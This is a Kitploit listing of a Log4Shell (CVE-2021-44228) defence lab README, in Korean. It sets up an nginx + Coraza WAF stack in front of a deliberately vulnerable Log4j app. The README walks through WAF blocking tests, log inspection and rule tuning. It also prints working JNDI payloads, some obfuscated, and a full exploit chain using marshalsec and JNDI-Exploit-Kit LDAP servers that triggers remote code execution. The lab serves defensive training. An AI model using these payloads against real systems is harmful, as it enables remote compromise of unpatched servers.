Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell-coraza — Log4Shell (CVE-2021-44228) 방어 실습 환경 — nginx + Coraza WAF 동적 모듈 + OWASP CRS v4. 교육 목적으로만 사용하세요. | Kitploit
도구/GitHubGitHub/tieupham267/log4shell-coraza
Defensive ToolsVulnerability ScannersExploitationIDS/IPS EvasionWAF BypassWeb SecurityPenetration TestingIntrusion DetectionLearning & EducationLog AnalysisLabs & Practice
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Log4Shell (CVE-2021-44228) 방어 실습 환경 — nginx + Coraza WAF 동적 모듈 + OWASP CRS v4. 교육 목적으로만 사용하세요.

저장소 보기

Log4Shell Security Lab — nginx + Coraza WAF

교육/방어 목적: 이 랩은 의도적으로 취약한 앱(Log4j 2.14.1)과 JNDI 익스플로잇 키트 세트를 포함하며, 격리된 환경에서 Log4Shell을 탐지하고 차단하는 방법을 학습하기 위한 용도로만 사용됩니다. 인터넷에 배포하지 말고, 소유하지 않은 시스템을 공격하는 데 사용하지 마십시오.

Log4Shell(CVE-2021-44228) 방어 실습 랩으로, Coraza WAF(동적 모듈) + OWASP CRS v4 + 사용자 정의 JNDI 규칙 세트가 통합된 nginx를 사용합니다. 취약한 Spring Boot 대상 컨테이너, Kali attacker-box, 그리고 관찰용 Suricata + Wazuh가 함께 제공됩니다.


1. 아키텍처

root@kitploit:~
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy        ← entrypoint :80/:443, có Coraza module + CRS v4
│   ├── attacker-box       ← Kali + JNDI exploit kits
│   └── suricata-ids       ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy        ← second NIC
    ├── log4shell-app      ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager      ← SIEM
    └── wazuh-dashboard    ← UI

요청 흐름: client → nginx (Coraza inspect) → log4shell-app. WAF는 별도 컨테이너가 아니라 nginx 내부에서(ngx_http_coraza_module.so 모듈을 통해) 실행됩니다.


2. 요구 사항

항목최소 버전
Docker Desktop / EngineCompose v2 포함 24+
사용 가능한 RAM4 GB (Wazuh가 약 1.5 GB 사용)
사용 가능한 디스크6 GB (이미지 빌드 산출물)
첫 빌드 시간10–15분 (libcoraza + nginx 모듈 + Maven 공격자 도구)

3. 부트스트랩 — 첫 실행

단계 3.1 — 이미지 빌드

root@kitploit:~
cd /path/to/log4shell-nginx-coraza
docker compose build

가장 느린 단계는 nginx입니다(libcoraza v1.4.0을 Go 1.25로 빌드한 다음 coraza-nginx 모듈을 컴파일). 첫 빌드 후에는 캐시됩니다.

단계 3.2 — 스택 시작

root@kitploit:~
docker compose up -d
docker compose ps

약 30초 후 기대되는 상태:

단계 3.3 — 스모크 테스트

root@kitploit:~
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/에 X-Api-Version 헤더가 없으면 400을 반환합니다 — 이는 Spring Boot whitelabel 오류(핸들러 없음)이며, WAF 차단이 아닙니다.


4. WAF의 Log4Shell 차단 테스트

단계 4.1 — 기본 페이로드

root@kitploit:~
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

예상 결과: HTTP/1.1 403 Forbidden, 본문 <html>... 403 Forbidden ... nginx ...</html>.

단계 4.2 — 난독화된 페이로드

root@kitploit:~
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

단계 4.3 — JSON 본문 페이로드

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)

5. WAF 로그 확인

Coraza 감사 로그 (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

각 이벤트는 JSON Lines이며 다음을 포함합니다:

  • transaction.is_interrupted: true → WAF 차단
  • messages[].error_message → 어떤 규칙이 발동했는지, 파일 및 줄, 심각도

nginx 액세스 로그

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

차단 항목 필터링:

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

호스트의 경로 마운트

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. 실제 익스플로잇 체인 — attacker-box → log4shell-app

기본적으로 backend-net은 internal: true로 설정되어 있고 attacker-box는 dmz-net에만 있으므로 log4shell-app이 attacker-box에 도달할 수 없습니다. JNDI 체인이 종단 간 작동하려면 먼저 6.0 단계를 수행하세요.

단계 6.0 — log4shell-app이 attacker-box를 호출하도록 허용

docker-compose.yml을 수정하여 attacker-box를 backend-net에 추가하세요:

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— thêm

또는 log4shell-app을 dmz-net으로 이동합니다(더 간단하지만 네트워크 분할에 대한 교육적 가치는 줄어듭니다):

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— thêm

적용: docker compose up -d (Compose가 해당 컨테이너만 재생성합니다).

단계 6.1 — attacker-box 내부에서 JNDI 익스플로잇 서버 시작

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

서버는 LDAP :1389 및 HTTP :8888에서 수신 대기합니다(compose에서 호스트에 이미 노출됨).

단계 6.2 — 우회 테스트: 취약점 확인을 위해 앱을 (WAF를 거치지 않고) 직접 호출

root@kitploit:~
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

확인:

root@kitploit:~
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned

파일이 보이면 → 익스플로잇 체인이 정상이며, 앱은 여전히 취약하고, WAF는 정식 경로로 우회되지 않습니다.

단계 6.3 — WAF가 동일한 페이로드를 정식 경로로 차단하는지 확인

root@kitploit:~
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới

7. 규칙 수정 (rebuild 불필요)

./coraza/config/log4shell-rules.conf 파일은 nginx의 /etc/nginx/coraza/log4shell-rules.conf에 :ro로 마운트됩니다. 수정한 후:

root@kitploit:~
docker exec nginx-proxy nginx -t      # syntax check
docker exec nginx-proxy nginx -s reload

Coraza가 파싱 오류(failed to compile the directive...)를 보고하면 workers가 종료되고 nginx -s reload로 다시 생성되지 않습니다. 이 경우:

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

WAF에 로드되는 규칙 구성

include 순서(nginx/coraza/main.conf에 있으며 이미지에 bake됨):

  1. 엔진 구성: SecRuleEngine On, 감사 로그, 디버그 로그
  2. crs-setup.conf — tx.*_anomaly_score, 임계값 초기화
  3. owasp-crs/rules/*.conf — 전체 CRS v4.7.0
  4. log4shell-rules.conf — 사용자 정의 규칙(호스트에서 마운트)

사용자 정의 규칙 ID 범위: 1910001 – 1910999 (CRS 범위 900000–999999와 충돌 회피).

Coraza vs ModSecurity 구문 제한 사항

  • Severity는 표준 enum만 허용합니다: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW는 유효하지 않습니다.
  • 영구 컬렉션(IP:, SESSION:, RESOURCE:)은 backing store가 구성되지 않으면 작동하지 않습니다. 요청별로는 tx.를 사용하거나 nginx limit_req_zone을 통해 rate-limit을 사용하세요.

8. 문제 해결

nginx는 UP이지만 (unhealthy) / curl localhost가 멈춤

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

대개 새 규칙의 구문 오류 때문에 모든 workers가 코드 2로 종료됩니다. 규칙을 수정하고 docker compose restart nginx를 실행하세요.

failed to create WAF: ... unknown severity: HIGH

사용자 정의 규칙에서 severity:'HIGH'를 severity:'ERROR'로 변경하세요.

failed to compile the directive "secrule": invalid arguments, expected collection TX

규칙이 setvar:ip.xxx를 사용하거나 IP:something / TX:NEVER_DECLARED를 참조하고 있습니다. 영구 컬렉션을 제거하거나 로직을 단일 체인 규칙으로 통합하세요.

Suricata Exited (1)

jasonish/suricata:latest 이미지에는 자체 entrypoint가 있으며 ./suricata/config/에서 마운트한 yaml이 이미지의 버전과 호환되지 않을 수 있습니다. 빠른 해결책: compose에서 suricata 서비스를 일시적으로 주석 처리하면 랩은 정상적으로 실행됩니다(Coraza 작동에 IDS는 필요 없음). 완전히 해결하려면 suricata.yaml을 이미지의 기본값으로 교체하세요(docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app이 시작 직후 종료됨

기본 이미지는 Alpine 3.8 EOL입니다. compose의 command가 ["java", "-jar", "/app/spring-boot-application.jar"]인지 확인하세요(apk add iptables 없이 — Alpine 3.8 저장소는 이미 404입니다).

Wazuh 대시보드에 http://localhost:5601로 접근할 수 없음

Wazuh manager + dashboard가 완전히 작동하려면 wazuh-indexer(OpenSearch)가 필요합니다. 현재 스택에는 해당 서비스가 없어서 dashboard는 시작되지만 로그인이 실패합니다. 실제로 필요할 때 공식 compose에 따라 wazuh-indexer 서비스를 추가하세요.


9. 정리

root@kitploit:~
# Stop + remove container, giữ image cache
docker compose down

# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v

# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. 디렉터리 구조

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; ở http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # engine config + Include CRS + custom
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # custom JNDI rules, mount :ro vào nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # mount points cho nginx, coraza, app, suricata, wazuh

11. 규칙 ID 참조

범위담당CRS 범위와 충돌?
900000–999999OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval)(CRS 소유)
1910000–1910999사용자 정의 Log4Shell 규칙없음

현재 존재하는 모든 사용자 정의 규칙 ID: 1910001–1910008 (JNDI 패턴), 1910010–1910014 (헤더별), 1910015 (대체 프로토콜), 1910020 (스캐닝 탐지), 1910026 (JSON 본문 체인), 1910028 (XML 본문 체인), 1910030 (paranoia 3), 1910999 (이상 징후 평가 에코).


결론: 랩이 4단계까지 실행되면 WAF가 작동하는 것입니다. 6단계는 전체 익스플로잇 체인을 종단 간 시연하려는 경우에만 필요합니다.

도구 다운로드
ServiceSTATUS
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idsRestarting일 수 있음(8항목 참조 — 랩을 차단하지 않음)
  • TX:VARNAME은 같은 요청 내에서 setvar된 변수만 참조할 수 있습니다. 규칙이 다른 phase에 있다면 체인 규칙으로 통합하는 것을 고려하세요.